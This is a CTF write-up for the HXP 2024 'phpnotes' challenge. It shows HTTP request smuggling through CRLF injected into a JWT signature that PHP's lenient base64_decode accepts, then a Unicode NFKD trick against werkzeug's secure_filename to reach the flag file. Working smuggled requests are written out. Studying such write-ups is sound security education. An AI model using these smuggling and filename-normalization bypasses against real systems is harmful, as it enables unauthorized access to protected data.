Post

HXP 2024

phpnotes

This challenge consists of a 3 services auth, backend, frontend

  • auth is a simple Python service that takes a username and password and returns a JWT token
  • backend is a Python service that can read files from the current directory and returns the content
  • frontend is a PHP service that takes a JWT token and a file name and forwards the request to the backend service

The goal is to read the flag file from the backend service.

So we can only interact with the frontend service, I quickly noticed that the frontend service is vulnerable to request smuggling.

The frontend take the raw JWT token from the cookie and add to the header of the request to the backend service.

alt text

alt text

alt text

alt text

The file_get_contents with stream_context_create can create a request smuggling attack. You can check it here

So if we can some how inject GET /flag to the JWT token, we can take the flag from the backend service. After some testing and source code review, I found that signature of the JWT token is go through urlsafeB64Decode function before verifying.

1
$sig = static::urlsafeB64Decode($cryptob64);

this function replace any - with + and _ with / and padding the string with = to make it a valid base64 string.

and then decode base64 using base64_decode function.

alt text

From the document by default base64_decode function will ignore any character that is not in the base64 alphabet.

alt text

So we can inject CLRF and any bytes above 0x7f at the signature. For example:

alt text

alt text

So it confirms that we can actually request smuggling

But now problem is how to inject the GET /flag to the JWT token. This make me stuck to the end of the CTF. I dont know how to inject the GET /flag to the signature. I tried to manipulate the JSON (in the POST function) to make it become something like GET /flag but again the “/” is escape by JSON make it become GET \/flag, when go through the backend the nginx mark it as invalid request and return 400. After the CTF, I found that the answer is actually in front of me. We can replace / instead of _ to the signature cause after all every _ will be replaced by /. So we can bruteforce the JWT to get the “GET_” in the signature.

After bruteforce for like 7 mins I got the sig that contain “GET_”

alt text

Let’s try to see if we can request to the “/” endpoint by inject CLRF before the “GET_” and replace “_” with “/” and the rest of the signature we can put “:” to make it a valid header.

The request would be like this

1
2
3
4
5
6
7
8
GET /837c0cdc698b1f74fe1e4f00443b142c HTTP/1.1
Host: backend
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIyNTI4NyIsImlhdCI6MTczNTkzMzY1MCwiZXhwIjoxNzM1OTM3MjUwfQ.L

GET / 
l:-R-7Top2BFRm25c_BOmBmQwpbI47k7c_Wl3HXIv6bC6K5yyi8FoLmPq7hwlO3mCMAHZvKsc-Z3pCupLcngRnb16t6Wn6rXtWXYB8bUya3vAVbCFn0BLg8j96jVxlhMUdsUR6d2AO-LmDsf4Blv6U7MepcQQh1L1b9A8wqCBdItc4fxYTMc6DIbAxuDjqlxI7CYwTNcFKv51GyQzVIxJ6jHiA69CFDICCqmCIK9bB5yg3c_Y4Vm5orIHZMobwJcx8iwZq6eKngOB3KFL0EgK3Tr999UoBB1xHQEo_Zq8A68WR-KoFFj2ivcX8vOaae-zjUH3knDOuW4keeTrA
Connection: keep-alive

So it works

alt text

alt text

However, again the flag is in the /flag endpoint. But in the backend service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/<note>', methods=['GET'])
def get(note: str):
    path = Path(secure_filename(note))

    try:
        raw_data = path.read_text()
    except:
        return jsonify({'success': False, 'error': f'no such note: {note}'})

    try:
        data = loads(raw_data)
    except:
        return jsonify({'success': False, 'error': f'malformed note json: {raw_data}'})

    title = data.get('title')
    content = data.get('content')
    if not title or not content:
        return jsonify({'success': False, 'error': f'malformed note json: {raw_data}'})

    return jsonify({'success': True, 'note': {'title': title, 'content': content}})

The backend service use the werkzeug.util.secure_filename to sanitize the “file name”, we can instead abuse this by using its feature, it performs the NFKD normalization, so we can inject some unicode character to make that function convert it back to ASCII character. For example:

1
2
3
4
𝓯 -> f
𝓵 -> l
𝓪 -> a
𝓰 - > g

By using this the signature will be ignore that unicode character and when come through the backend service it will be convert back to flag and we can get the flag.

alt text

The request would be like this

1
2
3
4
5
6
7
GET /837c0cdc698b1f74fe1e4f00443b142c HTTP/1.1
Host: backend
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIyNTI4NyIsImlhdCI6MTczNTkzMzY1MCwiZXhwIjoxNzM1OTM3MjUwfQ.L

GET /𝓯𝓵𝓪𝓰 
l:-R-7Top2BFRm25c_BOmBmQwpbI47k7c_Wl3HXIv6bC6K5yyi8FoLmPq7hwlO3mCMAHZvKsc-Z3pCupLcngRnb16t6Wn6rXtWXYB8bUya3vAVbCFn0BLg8j96jVxlhMUdsUR6d2AO-LmDsf4Blv6U7MepcQQh1L1b9A8wqCBdItc4fxYTMc6DIbAxuDjqlxI7CYwTNcFKv51GyQzVIxJ6jHiA69CFDICCqmCIK9bB5yg3c_Y4Vm5orIHZMobwJcx8iwZq6eKngOB3KFL0EgK3Tr999UoBB1xHQEo_Zq8A68WR-KoFFj2ivcX8vOaae-zjUH3knDOuW4keeTrA
Connection: keep-alive

Flag: hxp{nie_do_konca_jednolinijkowy_przepraszam}

Chromowana Tęcza 🌈

This post is licensed under CC BY 4.0 by the author.